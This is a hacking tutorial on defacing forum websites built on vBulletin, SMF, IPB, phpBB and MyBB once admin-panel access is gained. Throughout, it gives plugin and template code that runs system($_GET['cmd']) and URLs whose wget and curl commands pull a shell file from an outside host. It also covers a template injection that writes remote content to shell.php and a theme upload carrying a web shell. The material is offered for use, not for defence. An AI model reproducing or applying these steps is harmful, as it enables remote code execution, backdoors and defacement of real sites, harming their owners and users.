how to deface Vbulletin websites

.Vbulletin
1-Log in admin cp
2-Under “Plugins & Products”, select Add New Plugin
3-Adjust the settings as follows:
Product: vBulletin

Hook Location: global_start

Title: (Anything …)

Execution Order: 5

Code:
ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean(); Plugin is Active : Yes

So in the end it should look (see Pic )

4-After the plugin is added, go to the heading “Style and Design”, select “Style Manager
5-Under whatever the default style is in the dropdown menu, select Edit Templates.
6-Scroll ForumHome models and expand. Click [Customize] beside FORUMHOME.
7-Search

Code:
$header

Somewhere near the top. Replace it with:

Code:
$header
$execcod

e

8-Now go to the forum and add after the index.php

Code:
?cmd=wget http://www.site.com/shell.txt;mv shell.txt shell.php

So it looks like

Code:
http://www.site.com/pathtoforum/index.php?cmd=wget http://www.site.com/shell.txt;mv shell.txt shell.php

What this does is shell.txt downloads, and renames shell.php

Now,
the shell must be located in the directory shell.php forums … If not,
then wget is disabled on that server, you can try alternative methods:
Code:
http://www.site.com/pathtoforum/index.php?cmd=curl http://www.site.com/shell.txt > shell.php

Code:
http://www.site.com/pathtoforum/index.php?cmd=GET http://www.site.com/shell.txt shell.php

4.SMF
login into adminpanel
u need to download any smf theme in zip format and put ur shell.php in it and save
admin panel > select Themes and Layout > Install a new theme > browse and upload theme thats have our shell.php :)
after upload shell will find > site.com/Themes/theme name/shell.php
5.IPB
login admin panel > Look and Feel >Manage Languages, choose language > section (example) public_help
edit:
help.txt

Choose topic from list, or search for a topic
In right box add this code:

${${print $query='cd cache; wget http://link_to_shell/shell.txt;mv shell.txt shell.php'}}
${${system($query,$out)}}
${${print $out}}

When you add it, specify go on bottom
Now we go on:

http://www.site.com/index.php?app=core&module=help

And our code we add will be done, and you will get your shell @ www,site.com/cache/shell.php

6.phpBB
login into admin panel > go on styles -> templates -> edit, for Template file choose faq_body.html
At down of:
<!-- INCLUDE overall_header.html -->

We add:
<!-- PHP -->fwrite(fopen($_GET[o], 'w'), file_get_contents($_GET[i]));
<!-- ENDPHP -->[php]

And save it.Now go on:
[php]www.site.com/forum/faq.php?o=shell.php&i=http://link_to_shell.com/shell.txt

shell find in site path/shell.php
[/php]
Mybb forum
login admincp > Go to Templates and Styles, find default MyBB Theme is.
Then go to Templates,
expand templates that are used by the current theme.
Find Calendar templates,
click it. Click 'calender'. Above all the html code, paste this:

http://pastebin.com/eV1WngfM
save :)
shell will b find in site.com/calendar.php
note: if u got error like "code is danger unable to edit "
then simply paste ur deface code to deface calendar.php